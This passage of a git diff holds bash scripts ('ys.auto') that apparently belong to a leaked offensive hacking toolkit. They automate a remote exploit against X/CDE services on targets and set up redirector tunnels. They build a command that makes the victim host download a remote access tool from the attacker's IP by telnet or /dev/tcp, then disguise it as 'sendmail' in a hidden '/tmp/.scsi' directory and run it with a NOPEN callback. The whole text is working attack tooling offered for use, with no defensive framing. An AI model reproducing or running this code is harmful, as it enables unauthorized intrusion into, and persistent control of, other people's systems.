/tmp/.dir + $PROG -i 10.0.3.1 + $PROG -i TARGET_IP -l REDIRECTOR_IP +" +usagetextshort=$usagetext + +note() { + if [ "$1" = "-n" ] ; then + N=$1 + shift + fi + echo -e $N "$COLOR_NOTE${*}$COLOR_NORMAL" +} +notered() { + if [ "$1" = "-n" ] ; then + N=$1 + shift + fi + echo -e $N "$COLOR_FAILURE${*}$COLOR_NORMAL" +} +tunnelcmd() { + echo "${*}" | nc -w1 -u 127.0.0.1 $TUNNELPORT +} + +usage () +{ + [ "$1" = "exit" ] && EXIT=1 && shift + if [ "$1" = "-h" ] ; then + shift + echo -e "$usagetext" + notered NOTE: The only REQUIRED ARGUMENT is now -i + echo " +The best way to back out of $PROG once done (whether or not you get on +target) is to kill off the packrat window first with ^C then ^D. Then +kill of the xc window the same way, finally kill the ys.auto. + +$PROG Version $VER" + fi + if [ "$1" = "-v" ] ; then + echo "$PROG version $VER" + shift + fi + ERRSTR="${*}" + if [ "$ERRSTR" ] ; then + notered "\a${ERRSTR}" + fi + [ "$EXIT" ] && exit +} # usage + +doit() { + CMDLINE="\nCommandLine: ${0} ${*}" + + if [ $# -lt 1 ] ; then + usage exit -h + fi + + while getopts hl:n:r:D:x:zi:ucs:p:Pva: optvar ; do + case "$optvar" in + h|v) usage exit -$optvar ;; + i) REMOTE_IP=${OPTARG} ;; + l) CALLBACKIP=${OPTARG} ;; + c) CALLBACK=" callback";; + n) LOCAL_PORT=${OPTARG} ;; + r) RAT_NAME=${OPTARG} ;; + x) XPORT=${OPTARG} ;; + D) DIR=${OPTARG} ;; + u) NOUU=yes ;; + p) NOPENPORT="$OPTARG";; + s) CALLBACKDELAY="$OPTARG";; + z) NOZIP=yes + PACKARGS="$PACKARGS -z" ;; + P) DOTSLASH="./";; + k) USEKSH=yes + # this is not working dammit + NOUU=yes;; + # In -a, ignore it if ARCH already defined by autoattack + a) [ "$ARCH" ] || ARCH="$OPTARG";; + *) usage exit Invalid option $! ;; + esac + done + + [ "${DIR}" ] || DIR="/tmp/.scsi" + [ "${XPORT}" ] || XPORT=`mkrandom -n 2>/dev/null` + [ "${XPORT}" ] || XPORT=12121 + + if [ ! "$CALLBACKIP" ] ; then + if [ ! "`which grepip 2>/dev/null`" ] ; then + notered "\aMust have \"grepip\" in path or provide -l IP on command line" + exit + fi + for INT in ppp0 ppp1 eth0 eth1 ; do + ADDR=`ifconfig $INT 2>/dev/null | grepip | egrep -v "255|127\.0" | head -1` + [ "$ADDR" ] && CALLBACKIP=$ADDR + [ "$CALLBACKIP" ] && break + done + while [ ! "$CALLBACKIP" ] ; do + echo -en "What is your local/redirector IP address? " + [ "$CALLBACKIP" ] && echo -en "[$CALLBACKIP] " + read ans + [ "$ans" -a "${ans:0:1}" != "y" -a "${ans:0:1}" != "Y" ] && \ + CALLBACKIP=$ans + CALLBACKIP=`echo $CALLBACKIP | grepip` + [ "$ans" ] && echo -e "\n\n\a$ans is not a valid IP. Try again.\n\n" + done + INT=" ($INT)" + note "Using $CALLBACKIP$INT for -l local IP argument" + fi + + if [ "`which grepip 2>/dev/null`" ] ; then + # Check IP arguments if we can + [ "$REMOTE_IP" ] && ORIGREMOTE_IP=" ($REMOTE_IP)" + [ "$CALLBACKIP" ] && ORIGCALLBACKIP=" ($CALLBACKIP)" + REMOTE_IP=`echo $REMOTE_IP | grepip` + CALLBACKIP=`echo $CALLBACKIP | grepip` + fi + + [ "$REMOTE_IP" ] || usage exit "-i argument$ORIGREMOTE_IP is missing or not an IP" + [ "$CALLBACKIP" ] || usage exit "-l argument$ORIGCALLBACKIP is missing or not an IP" + [ "$NOUU" ] && PACKARGS="$PACKARGS -u" + [ "$RAT_NAME" ] || RAT_NAME=sendmail + if [ ! "$NOPENPORT" ] ; then + NOPENPORT=`mkrandom -n 2>/dev/null` + if [ "$NOPENPORT" ] ; then + note "Using random NOPEN$CALLBACK port $NOPENPORT" + fi + fi + [ ! "$NOPENPORT" ] && usage exit "mkrandom not in path--needed to generate random port" + + ifconfig -a | grep $CALLBACKIP > /dev/null && ITSLOCAL=yes + if [ ! "$ITSLOCAL" ] ; then + REDIRECTOR="/redirector" + [ "$TARGETIP" ] && REDIRECTOR2=" $TARGETIP via $CALLBACKIP via " + fi + echo + note "########################################" + [ "$REDIRECTOR" ] || notered "Calling directly back to this box" + note "Local$REDIRECTOR IP = ${CALLBACKIP}$INT" + [ "$CALLBACK" ] && note "Using NOPEN Callback to $CALLBACKIP:$NOPENPORT" + [ "$CALLBACK" ] && notered " (after a DELAY of $CALLBACKDELAY seconds)" + [ "$NOSERVER" ] && note Uploading rat: $NOSERVER + [ "$CALLBACK" ] || note "Starting rat listener on port ${NOPENPORT}" + note "Remote IP =$REDIRECTOR2 ${REMOTE_IP}" + note "Rat uplaod port = ${LOCAL_PORT}" + note "Name of Rat = ${RAT_NAME}" + [ "$NOZIP" ] && note "Not using compress/uncompress" + [ "$NOZIP" ] || note "Using compress/uncompress" + note "Starting mini X server on port ${XPORT}" + note "Directory to create/use = ${DIR}" + #[ "$USEKSH" ] && note "Using ksh method to upload rat to Solaris target" + #[ "$USEKSH" ] || note "Using telnet method to upload rat" + note "########################################" + echo + + # show what we were called with + echo -e "$CMDLINE" + + # Check to make sure tcp LISTEN is there + PORTS=`netstat -an | grep tcp.*LIST | cut -f 2 -d ":" | sort -rn | awk '{print $1}' |egrep -v "6000"` + + note Local ports LISTENing: $PORTS + echo + which packrat >/dev/null 2>&1 + NOPACKRAT=$? + [ "$NOPACKRAT" = "0" ] || usage exit "No packrat in your path" + + if [ "$LOCAL_PORT" ] ; then + for i in $PORTS -1 ; do + [ "$i" = "$LOCAL_PORT" ] && break + done + if [ $i -lt 0 ] ; then + PACKRAT_SCRIPME=yes + else + notered "\aLocalPort=$LOCAL_PORT provided on command line already LISTENing. Assuming that is the upload." + sleep 2 + fi + else + unset ans MAKENEWPORT + if [ "$RANDOMLOCAL_PORT" ] ; then + $LOCAL_PORT=$RANDOMLOCAL_PORT + else + MAKENEWPORT=1 + fi + while [ "$MAKENEWPORT" ] ; do + LOCAL_PORT=`mkrandom -n 2>/dev/null` + RANDOMORNOT=" a random" + RANDOMLOCAL_PORT=$LOCAL_PORT + [ ! "$LOCAL_PORT" ] && usage exit "mkrandom not in path--needed to generate random rat upload port" + ALREADYTHERE=`netstat -an | grep tcp.*LIST | grep ":$LOCAL_PORT "` + [ "$ALREADYTHERE" ] || break + done + while [ ! -e $NOSERVER ] ; do + notered Put correct noserver into $NOSERVER and hit return or ^C to abort. + read ans + continue + done + if [ "$NOPACKRAT" = "0" ] ; then + PACKRAT_SCRIPME=yes + else + usage exit "No packrat in your path$COLOR_NORMAL" + fi + fi + note "Using$RANDOMORNOT port ($LOCAL_PORT) for local RAT upload listener (packrat)" + unset RANDOMORNOT + if [ "${REMOTE_IP:0:3}" = "127" ] ; then + REDIRECT=yes + ifconfig -a | grep $CALLBACKIP > /dev/null && NOTGOOD=yes + if [ "$NOTGOOD" ] ; then + notered "ARE YOU SURE? It looks like you are redirecting (due to remote being $REMOTE_IP), +and yet you want the RAT callback to go to $CALLBACKIP, WHICH\a IS ONE OF YOUR LOCAL IPs???" + sleep 1 + notered -n "\nbort to ontinue DESPITE THIS PROBLEM!! [C]\a" + read blah + if [ "${blah:0:1}" = 'a' -o "${blah:0:1}" = 'A' ] ; then + notered "ABORTING!" + exit + fi + fi + DEFTARGET=`head /current/etc/opscript.txt 2>/dev/null | grepip 2>/dev/null | head -1` + [ ! "$ACTUALTARGET" ] && [ "$AUTOMODE" ] && ACTUALTARGET=$TARGETIP + until [ `echo $ACTUALTARGET | grepip 2>/dev/null` ] ; do + [ "$ACTUALTARGET" ] && echo Bad IP $ACTUALTARGET + echo -en "\nEnter Target IP after redirecting through $LOCAL_IP: " + [ "$DEFTARGET" ] && echo -en "[$DEFTARGET] " + read ACTUALTARGET + [ ! "$ACTUALTARGET" ] && [ "$DEFTARGET" ] && ACTUALTARGET=$DEFTARGET + done + note Redirecting via 127.0.0.1/$LOCAL_IP to $ACTUALTARGET + if [ "$AUTOMODE" ] ; then + # Anything specific to automated usage here + note In AUTO/-sploit mode + fi + note "Sending tunnel commands to 127.0.0.1:$TUNNELPORT" + tunnelcmd u 177 $ACTUALTARGET + tunnelcmd r $LOCAL_PORT + tunnelcmd r $XPORT + tunnelcmd s + + fi + [ "$ACTUALTARGET" ] || ACTUALTARGET=$REMOTE_IP + + if [ "$PACKRAT_SCRIPME" ] ; then + if [ -x /current/bin/nc.YS ] ; then + PACKARGS="$PACKARGS -n /current/bin/nc.YS" + fi + EXPLOIT_SCRIPME="packrat$PACKARGS $RAT_NAME $NOSERVER $LOCAL_PORT" + note "\nStarting local LISTENer to send noserver via port $LOCAL_PORT\n" + export EXPLOIT_SCRIPME + echo EXPLOIT_SCRIPME=\"$EXPLOIT_SCRIPME\" scripme -t PACKRAT -F -X \"-bg slategrey -fg white -geometry 131x55-0+0\" + EXPLOIT_SCRIPME="$EXPLOIT_SCRIPME" scripme -t PACKRAT -F -X "-bg slategrey -fg white -geometry 131x55-0+0" + fi + if [ "$REDIRECT" ] ; then + if [ "$CALLBACK" ] ; then + note "\n\nYou will need a NOPEN listener window on $CALLBACKIP:\n" + fi + PASTABLE=`grep -v "^#" /current/down/didthis 2>/dev/null | egrep "nstun|noclient"` + PASTABLE="\ncd /current/down\n${PASTABLE}" + + note "${PASTABLE}" + # echo "FIRST/-tunnel nopen window on $CALLBACKIP:" + # SECOND="SECOND " + # note "\n-tunnel\n\nu 177 $ACTUALTARGET\nr $LOCAL_PORT\nr $XPORT\n\ns\n" + if [ ! "$CALLBACK" ] ; then + notered -n "bort ontinue once NOPEN and packrat windows are ready [C] " + read blah + if [ "${blah:0:1}" = 'a' -o "${blah:0:1}" = 'A' ] ; then + notered "ABORTING!" + exit + fi + fi + fi + + if [ "$CALLBACK" ] ; then + RAT_PREARGS=" S=$CALLBACKDELAY D=-c${CALLBACKIP}:${NOPENPORT}" + notered "\aYou must establish a NOPEN listener on $CALLBACKIP:$NOPENPORT\n\n" + if [ "$REDIRECT" ] ; then + if [ "$ITSLOCAL" ] ; then + echo "${SECOND}remote nopen window on $CALLBACKIP:" + note "${PASTABLE}\n/current/bin/noclient -l $NOPENPORT\n\n" + else + echo "${SECOND}remote nopen window on $CALLBACKIP:" + note "${PASTABLE}\n-nrtun $NOPENPORT\n\n" + fi + notered -n "bort ontinue once NOPEN windows are ready [C] " + read blah + if [ "${blah:0:1}" = 'a' -o "${blah:0:1}" = 'A' ] ; then + notered "ABORTING!" + exit + fi + else + echo "${SECOND}remote nopen window on $CALLBACKIP:" + note "\ncd /current/down/\n/current/bin/noclient -l $NOPENPORT\n\n" + notered -n "bort ontinue once NOPEN windows are ready [C] " + read blah + if [ "${blah:0:1}" = 'a' -o "${blah:0:1}" = 'A' ] ; then + notered "ABORTING!" + exit + fi + fi + else + RAT_PREARGS=" D=-l${NOPENPORT}" + if [ "$REDIRECT" ] ; then + POSTRUN="${PASTABLE} + +-nstun $ACTUALTARGET ${NOPENPORT}" + else + POSTRUN="noclient ${ACTUALTARGET}:${NOPENPORT}" + fi + fi + + # Now check what we can before continuing + echo "" + while [ 1 ] ; do + + [ "$CALLBACK" ] || OKNRTUN=okeydokey + [ "$REDIRECT" ] || OKUDP=okeydokey + [ "$REDIRECT" ] && OKUDP=`netstat -an | grep "^udp.*0 0.0.0.0:177 "` + [ "$CALLBACK" ] && OKNRTUN=`netstat -an | grep "^tcp.*:$NOPENPORT " | egrep "ESTAB|LISTEN"` + OKPACKRAT=`netstat -an | grep "^tcp.*0.0.0.0:$LOCAL_PORT .*LISTEN"` + + [ "$OKUDP" ] || notered "No udp/177 seen locally in netstat" + [ "$OKNRTUN" ] || notered "No -nrtun or noclient -l for callback seen locally on port $NOPENPORT in netstat" + if [ ! "$OKPACKRAT" ] ; then + if [ "$OKUDP" -a "$OKNRTUN" ] ; then + notered "waiting for packrat to start on port $LOCAL_PORT" + else + notered "No packrat seen locally on port $LOCAL_PORT in netstat" + fi + fi + [ "$OKUDP" ] && [ "$OKNRTUN" ] && [ "$OKPACKRAT" ] && break + + [ "$OKUDP" ] && [ "$OKNRTUN" ] && sleep 2 && continue + unset OKUDP OKNRTUN OKPACKRAT + notered "\a\n\nCANNOT PROCEED" + notered "\a\n\nFix this and either bort or etry. [R] " + read blah + if [ "${blah:0:1}" = 'a' -o "${blah:0:1}" = 'A' ] ; then + notered "ABORTING!" + exit + fi + done + unset OKUDP OKNRTUN OKPACKRAT + if [ "$CALLBACK" ] ; then + NOCLIENTCALL="cd /current/down\n../bin/noclient ${ACTUALTARGET}:$NOPENPORT" + [ "$REDIRECT" ] && NOCLIENTCALL="-nstun $ACTUALTARGET ${NOPENPORT}" + TAKENOTE="$TAKENOTE +======================================================== + +You did a NOPEN callback. Be sure to test a call FORWARD if you get on. +Something like (${COLOR_FAILURE}each on the right box${COLOR_NORMAL}): + +-listen $NOPENPORT + +$NOCLIENTCALL +" + fi + if [ "$POSTRUN" ] ; then + TAKENOTE="$TAKENOTE +======================================================== + +$POSTRUN +" + fi + + if [ "$TAKENOTE" ] ; then + TAKENOTE=" +======================================================== +======================================================== + NOTES/PASTABLES FOR LATER + +$TAKENOTE +======================================================== +======================================================== +" + fi + + #note "\nStarting local mini-X server via scripme" + note "\nStarting exploit xc via scripme" + EXPLOIT_SCRIPME="xc -x $CALLBACKIP -y $XPORT -s $CALLBACKIP $REMOTE_IP 2>&1" + echo EXPLOIT_SCRIPME=\"$EXPLOIT_SCRIPME\" scripme -t YS-xc-window -F -X \"-fg white -bg black -geometry 131x55\" + EXPLOIT_SCRIPME="$EXPLOIT_SCRIPME" scripme -t YS-xc.$ACTUALTARGET -F -X "-bg white -fg black -geometry 78x51+654+0" + + unset UNCOMPRESS + if [ ! "$NOZIP" ] ; then + UNCOMPRESS=" && uncompress -f ${RAT_NAME}.Z 2>&1 " + [ "$USEKSH" ] && UNCOMPRESS=".Z && uncompress -f ${RAT_NAME}.Z 2>&1 " + fi + + #old way: + #2>&1 &1 |uudecode 2>&1 > /dev/null 2>&1 + # /dev/null 2>&1 + VENDOR_STR="\`cd /tmp;mkdir -p ${DIR} && cd ${DIR} ; telnet ${CALLBACKIP} ${LOCAL_PORT} /dev/null 2>&1 $UNCOMPRESS && chmod 0700 ${RAT_NAME} && PATH=${DIR}:.${RAT_PREARGS} ${DOTSLASH}${RAT_NAME}\`" + #VENDOR_STR="\`mkdir ${DIR};cd ${DIR} && telnet ${CALLBACKIP} ${LOCAL_PORT} /dev/null 2>&1 && uncompress -f ${RAT_NAME}.Z && chmod 0700 ${RAT_NAME} && PATH=${DIR} ${RAT_NAME}\`" + #if [ "$USEKSH" ] ; then + # VENDOR_STR="\`cd /tmp;mkdir ${DIR} 2>&1 && cd ${DIR} 2>&1 ; /bin/ksh -c \"cat < /dev/tcp/${CALLBACKIP}/${LOCAL_PORT}> ${RAT_NAME}${UNCOMPRESS}\" ; chmod 0700 ${RAT_NAME} && PATH=${DIR}:.${RAT_PREARGS} ${DOTSLASH}${RAT_NAME}\`" + #fi + + notered "\n\nNow running the following via:\n\n./uX_local -e '$VENDOR_STR' -v -p $XPORT -c xxx\n\n" + note "VENDOR_STR=\"$VENDOR_STR\"\n\n" + + notered "RUNNING (yet another) SCRIPME window with the uX_local line shown above." + EXPLOIT_SCRIPME="./uX_local -e '$VENDOR_STR' -v -p $XPORT -c xxx" scripme -t YS-uXlocal.$ACTUALTARGET -F -X "-bg white -fg black -geometry 78x51+76+0" + +} # end doit + +if [ "$ARCH" ] ; then + NOSERVER=`ls -1 /current/up/morerats/noserver* 2>/dev/null | grep -i ${ARCH} | tail -1` +fi +[ "$NOSERVER" ] || NOSERVER=/current/up/noserver + +[ "${*}" ] || usage exit -h +[ "${*}" = "-h" ] && usage exit -h +ATTEMPT=1 +while [ 1 ] ; do + if [ "$TARGETIP" -a "$ATTEMPT" = "1" ] ; then + echo -e "$usagetextshort" + # This is called by autoattack so allow changes + notered "Automatic mode has pre-set these arguments:\n$COLOR_NORMAL\n${*}\n" + notered "\n\nJust hit return to keep these arguments, or input a new and complete argument\nstring to use instead:\n" + read ans + if [ "$ans" ] ; then + ARGS="$ans" + note Changing arguments to: $ARGS + else + note NOT changing arguments + fi + fi + if [ "$ARGS" ] ; then + OPTIND=1 + doit $ARGS + else + OPTIND=1 + ARGS="${*}" + doit ${*} + fi + +# note "\n\n$PROG attempt number $ATTEMPT is complete." + DATE=`date -u` + [ "$EXPLOIT_SCRIPME" ] && VIA=" via scripme popups" + note "\n\n$PROG attempt$VIA is complete at $DATE.\n\n" +# if [ "$CALLBACK" ] ; then + if [ "" ] ; then + notered "\nNOTE: Callback will not happen until $CALLBACKDELAY seconds or more have passed.\n" + while [ $CALLBACKDELAY -ge 0 ] ; do + notered -n "\rCounting down: $CALLBACKDELAY " + CALLBACKDELAY=`expr $CALLBACKDELAY - 1` + sleep 1 + done + fi +# note "\nIf it worked, hit return to exit.\n" +# notered -n "Do you want to try again? [N] " +# read ans +# [ ! "$ans" -o "${ans:0:1}" = "n" -o "${ans:0:1}" = "N" ] && break + + # No retries anymore - too messy + break + # echo -e "$usagetext" + LASTARGS=$ARGS + note "\n\nYour last attempt tried the following arguments:\n\n" + note "$LASTARGS\n\n" + notered "\n\nJust hit return to try the same arguments again, or input a new and complete argument\nstring to use. Enter \"DONE\" or ^C to quit." + read ans + [ "$ans" = "DONE" ] && break + if [ "$ans" ] ; then + ARGS="${ans}" + fi + ATTEMPT=`expr $ATTEMPT + 1` + +done + +if [ ! -z "$AUTOMODE" ] ; then + notered "\n\nYou MUST ${COLOR_NOTE}FIRST$COLOR_FAILURE ^C and then ^D in each of the netcat, +uX_local and xc scripme windows started earlier to be able to exit this window.\n\n" +fi diff --git a/Linux/bin/ys.auto.old2 b/Linux/bin/ys.auto.old2 new file mode 100755 index 0000000..aa426f0 --- /dev/null +++ b/Linux/bin/ys.auto.old2 @@ -0,0 +1,579 @@ +#!/bin/bash +PROG=`basename ${0}` +VER="1.4.1.1" +CALLBACKDELAY=3 +AUTOMODE="$TARGETIP" +[ "$TUNNELPORT" ] || TUNNELPORT=`cat /current/bin/.tunnelport 2>/dev/null` +[ "$TUNNELPORT" ] || TUNNELPORT=18787 +COLOR_SUCCESS="\\033[1;32m" +COLOR_FAILURE="\\033[1;31m" +COLOR_WARNING="\\033[1;33m" +COLOR_NORMAL="\\033[0;39m" +COLOR_NOTE="\\033[0;34m" +COLOR_WHITE="\\033[4;97m" +SETCOLOR_SUCCESS="echo -en $COLOR_SUCCESS" +SETCOLOR_FAILURE="echo -en $COLOR_FAILURE" +SETCOLOR_WARNING="echo -en $COLOR_WARNING" +SETCOLOR_NORMAL="echo -en $COLOR_NORMAL" +SETCOLOR_NOTE="echo -en $COLOR_NOTE" +SETCOLOR_WHITE="echo -en $COLOR_WHITE" +usagetext=" +Usage: $PROG -i TARGETIP [options] + +-i IP IP of target machine (NO DEFAULT) +-l IP IP of attack machine (Default: the first active IP found in + this order: ppp0, ppp1, eth0 or eth1) +-n # rat upload port (Default: a random port) +-p # Use port # for RAT listen/callback. (Default: random) +-s # Change delay used for -c to # seconds (must appear before -c). +-c Use NOPEN syntax to have RAT callback after a delay (Default + delay: $CALLBACKDELAY seconds) +-z Do NOT use uncomrpess at the either end +-e Do NOT use \"2>&1\" on target. Fouls up in some shells. +-r rat name of rat on target (Default: sendmail) +-x # port to start mini X server on (Default: random port) +-D dir directory to work from/create on target (Default = /tmp/.scsi) +-P Assume PATH=. will fail so use ./ratname + target, and MUST NOT use uuencode on upload. +-a ARCH String used to determine which architecture NOPEN server to + upload from /current/up/morerats/ using this (note tail -1): + \"ls -1 ./noserver* 2>/dev/null | grep -i \${ARCH} | tail -1\". + If not provided or no match, /current/up/noserver is assumed. + +NOTE: -x # and -p# can be the same, even in callback mode. $PROG provides + a mechanism to allow netcat callback to finish, and its -tunnel to + close before the NOPEN server calls back on the same port. + +examples: + $PROG -l 19.16.1.1 -i 10.0.3.1 -n 2222 -r nscd -x 9999 -D /tmp/.dir + $PROG -i 10.0.3.1 + $PROG -i TARGET_IP -l REDIRECTOR_IP +" +usagetextshort=$usagetext + +note() { + if [ "$1" = "-n" ] ; then + N=$1 + shift + fi + echo -e $N "$COLOR_NOTE${*}$COLOR_NORMAL" +} +notered() { + if [ "$1" = "-n" ] ; then + N=$1 + shift + fi + echo -e $N "$COLOR_FAILURE${*}$COLOR_NORMAL" +} +tunnelcmd() { + echo "${*}" | nc -w1 -u 127.0.0.1 $TUNNELPORT +} + +usage () +{ + [ "$1" = "exit" ] && EXIT=1 && shift + if [ "$1" = "-h" ] ; then + shift + echo -e "$usagetext" + notered NOTE: The only REQUIRED ARGUMENT is now -i + echo " +The best way to back out of $PROG once done (whether or not you get on +target) is to kill off the packrat window first with ^C then ^D. Then +kill of the xc window the same way, finally kill the ys.auto. + +$PROG Version $VER" + fi + if [ "$1" = "-v" ] ; then + echo "$PROG version $VER" + shift + fi + ERRSTR="${*}" + if [ "$ERRSTR" ] ; then + notered "\a${ERRSTR}" + fi + [ "$EXIT" ] && exit +} # usage + +doit() { + CMDLINE="\nCommandLine: ${0} ${*}" + + if [ $# -lt 1 ] ; then + usage exit -h + fi + + ERRREDIR="2>&1" + while getopts hl:n:r:D:x:zi:ucs:p:Pva:e optvar ; do + case "$optvar" in + h|v) usage exit -$optvar ;; + i) REMOTE_IP=${OPTARG} ;; + l) CALLBACKIP=${OPTARG} ;; + c) CALLBACK=" callback";; + n) LOCAL_PORT=${OPTARG} ;; + r) RAT_NAME=${OPTARG} ;; + x) XPORT=${OPTARG} ;; + D) DIR=${OPTARG} ;; + u) NOUU=yes ;; + p) NOPENPORT="$OPTARG";; + s) CALLBACKDELAY="$OPTARG";; + e) ERRREDIR="";; + z) NOZIP=yes + PACKARGS="$PACKARGS -z" ;; + P) DOTSLASH="./";; + k) USEKSH=yes + # this is not working dammit + NOUU=yes;; + # In -a, ignore it if ARCH already defined by autoattack + a) [ "$ARCH" ] || ARCH="$OPTARG";; + *) usage exit Invalid option $! ;; + esac + done + unset NOSERVER + if [ "$ARCH" ] ; then + NOSERVER=`ls -1 /current/up/morerats/noserver* 2>/dev/null | grep -i ${ARCH} | tail -1` + fi + [ "$NOSERVER" ] || NOSERVER=/current/up/noserver + + [ "${DIR}" ] || DIR="/tmp/.scsi" + [ "${XPORT}" ] || XPORT=`mkrandom -n 10025 32222 2>/dev/null` + [ "${XPORT}" ] || XPORT=12121 + + if [ ! "$CALLBACKIP" ] ; then + if [ ! "`which grepip 2>/dev/null`" ] ; then + notered "\aMust have \"grepip\" in path or provide -l IP on command line" + exit + fi + for INT in ppp0 ppp1 eth0 eth1 ; do + ADDR=`ifconfig $INT 2>/dev/null | grepip | egrep -v "255|127\.0" | head -1` + [ "$ADDR" ] && CALLBACKIP=$ADDR + [ "$CALLBACKIP" ] && break + done + while [ ! "$CALLBACKIP" ] ; do + echo -en "What is your local/redirector IP address? " + [ "$CALLBACKIP" ] && echo -en "[$CALLBACKIP] " + read ans + [ "$ans" -a "${ans:0:1}" != "y" -a "${ans:0:1}" != "Y" ] && \ + CALLBACKIP=$ans + CALLBACKIP=`echo $CALLBACKIP | grepip` + [ "$ans" ] && echo -e "\n\n\a$ans is not a valid IP. Try again.\n\n" + done + INT=" ($INT)" + note "Using $CALLBACKIP$INT for -l local IP argument" + fi + + if [ "`which grepip 2>/dev/null`" ] ; then + # Check IP arguments if we can + [ "$REMOTE_IP" ] && ORIGREMOTE_IP=" ($REMOTE_IP)" + [ "$CALLBACKIP" ] && ORIGCALLBACKIP=" ($CALLBACKIP)" + REMOTE_IP=`echo $REMOTE_IP | grepip` + CALLBACKIP=`echo $CALLBACKIP | grepip` + fi + + if [ "$LOCAL_PORT" = "$NOPENPORT" -a "$CALLBACK" ] ; then + notered "Forcing delay (-s #) of at least 30 seconds since NOPEN callback" + notered "and Rat upload ports are the same. You must be sure to ^C the" + notered "netcat window within 30 seconds after the upload completes." + [ $CALLBACKDELAY -lt 30 ] && CALLBACKDELAY=30 + TRICKYTIMING=yes + fi + if [ "$LOCAL_PORT" = "$XPORT" ] ; then + usage exit "FATAL ERROR: -x port and -n port MUST NOT BE THE SAME.\n\nUNABLE TO CONTINUE." + fi + + [ "$REMOTE_IP" ] || usage exit "-i argument$ORIGREMOTE_IP is missing or not an IP" + [ "$CALLBACKIP" ] || usage exit "-l argument$ORIGCALLBACKIP is missing or not an IP" + [ "$NOUU" ] && PACKARGS="$PACKARGS -u" + [ "$RAT_NAME" ] || RAT_NAME=sendmail + if [ ! "$NOPENPORT" ] ; then + NOPENPORT=`mkrandom -n 2>/dev/null` + if [ "$NOPENPORT" ] ; then + note "Using random NOPEN$CALLBACK port $NOPENPORT" + fi + fi + [ ! "$NOPENPORT" ] && usage exit "mkrandom not in path--needed to generate random port" + + ifconfig -a | grep $CALLBACKIP > /dev/null && ITSLOCAL=yes + if [ ! "$ITSLOCAL" ] ; then + REDIRECTOR="/redirector" + [ "$TARGETIP" ] && REDIRECTOR2=" $TARGETIP via $CALLBACKIP via " + fi + echo + note "########################################" + [ "$REDIRECTOR" ] || notered "Calling directly back to this box" + note "Local$REDIRECTOR IP = ${CALLBACKIP}$INT" + [ "$CALLBACK" ] && note "Using NOPEN Callback to $CALLBACKIP:$NOPENPORT" + [ "$CALLBACK" ] && notered " (after a DELAY of $CALLBACKDELAY seconds)" + [ "$NOSERVER" ] && note Uploading rat: $NOSERVER + [ "$CALLBACK" ] || note "Starting rat listener on port ${NOPENPORT}" + note "Remote IP =$REDIRECTOR2 ${REMOTE_IP}" + note "Rat uplaod port = ${LOCAL_PORT}" + note "Name of Rat = ${RAT_NAME}" + [ "$NOZIP" ] && note "Not using compress/uncompress" + [ "$NOZIP" ] || note "Using compress/uncompress" + note "Starting mini X server on port ${XPORT}" + note "Directory to create/use = ${DIR}" + #[ "$USEKSH" ] && note "Using ksh method to upload rat to Solaris target" + #[ "$USEKSH" ] || note "Using telnet method to upload rat" + note "########################################" + echo + + # show what we were called with + echo -e "$CMDLINE" + + # Check to make sure tcp LISTEN is there + PORTS=`netstat -an | grep tcp.*LIST | cut -f 2 -d ":" | sort -rn | awk '{print $1}' |egrep -v "6000"` + + note Local ports LISTENing: $PORTS + echo + which packrat >/dev/null 2>&1 + NOPACKRAT=$? + [ "$NOPACKRAT" = "0" ] || usage exit "No packrat in your path" + + if [ "$LOCAL_PORT" ] ; then + for i in $PORTS -1 ; do + [ "$i" = "$LOCAL_PORT" ] && break + done + if [ $i -lt 0 ] ; then + PACKRAT_SCRIPME=yes + else + notered "\aLocalPort=$LOCAL_PORT provided on command line already LISTENing. Assuming that is the upload." + sleep 2 + fi + else + unset ans MAKENEWPORT + if [ "$RANDOMLOCAL_PORT" ] ; then + $LOCAL_PORT=$RANDOMLOCAL_PORT + else + MAKENEWPORT=1 + fi + while [ "$MAKENEWPORT" ] ; do + LOCAL_PORT=`mkrandom -n 2>/dev/null` + RANDOMORNOT=" a random" + RANDOMLOCAL_PORT=$LOCAL_PORT + [ ! "$LOCAL_PORT" ] && usage exit "mkrandom not in path--needed to generate random rat upload port" + ALREADYTHERE=`netstat -an | grep tcp.*LIST | grep ":$LOCAL_PORT "` + [ "$ALREADYTHERE" ] || break + done + while [ ! -e $NOSERVER ] ; do + notered Put correct noserver into $NOSERVER and hit return or ^C to abort. + read ans + continue + done + if [ "$NOPACKRAT" = "0" ] ; then + PACKRAT_SCRIPME=yes + else + usage exit "No packrat in your path$COLOR_NORMAL" + fi + fi + note "Using$RANDOMORNOT port ($LOCAL_PORT) for local RAT upload listener (packrat)" + unset RANDOMORNOT + if [ "${REMOTE_IP:0:3}" = "127" ] ; then + REDIRECT=yes + ifconfig -a | grep $CALLBACKIP > /dev/null && NOTGOOD=yes + if [ "$NOTGOOD" ] ; then + notered "ARE YOU SURE? It looks like you are redirecting (due to remote being $REMOTE_IP), +and yet you want the RAT callback to go to $CALLBACKIP, WHICH\a IS ONE OF YOUR LOCAL IPs???" + sleep 1 + notered -n "\nbort to ontinue DESPITE THIS PROBLEM!! [C]\a" + read blah + if [ "${blah:0:1}" = 'a' -o "${blah:0:1}" = 'A' ] ; then + notered "ABORTING!" + exit + fi + fi + DEFTARGET=`head /current/etc/opscript.txt 2>/dev/null | grepip 2>/dev/null | head -1` + [ ! "$ACTUALTARGET" ] && [ "$AUTOMODE" ] && ACTUALTARGET=$TARGETIP + until [ `echo $ACTUALTARGET | grepip 2>/dev/null` ] ; do + [ "$ACTUALTARGET" ] && echo Bad IP $ACTUALTARGET + echo -en "\nEnter Target IP after redirecting through ${CALLBACKIP}: " + [ "$DEFTARGET" ] && echo -en "[$DEFTARGET] " + read ACTUALTARGET + [ ! "$ACTUALTARGET" ] && [ "$DEFTARGET" ] && ACTUALTARGET=$DEFTARGET + done + note Redirecting via 127.0.0.1/$CALLBACKIP to $ACTUALTARGET + if [ "$AUTOMODE" ] ; then + # Anything specific to automated usage here + note In AUTO/-sploit mode + fi + TEST=`netstat -an | grep "udp.*:$TUNNELPORT "` + while [ ! "$TEST" ] ; do + notered "No NOPEN -tunnel seen on udp/$TUNNELPORT\n\nSet one up on $CALLBACKIP with:\n\n" + note "\t-tunnel $TUNNELPORT udp\n\n${COLOR_FAILURE}and then hit return." + read ans + TEST=`netstat -an | grep "udp.*:$TUNNELPORT "` + done + note "Sending tunnel commands to 127.0.0.1:$TUNNELPORT" + # This will create /current/bin/*tunnel + [ -x "/current/etc/autosploit" ] && /current/etc/autosploit -T + + tunnelcmd u 177 $ACTUALTARGET + tunnelcmd r $LOCAL_PORT + tunnelcmd r $XPORT + tunnelcmd s + + fi + [ 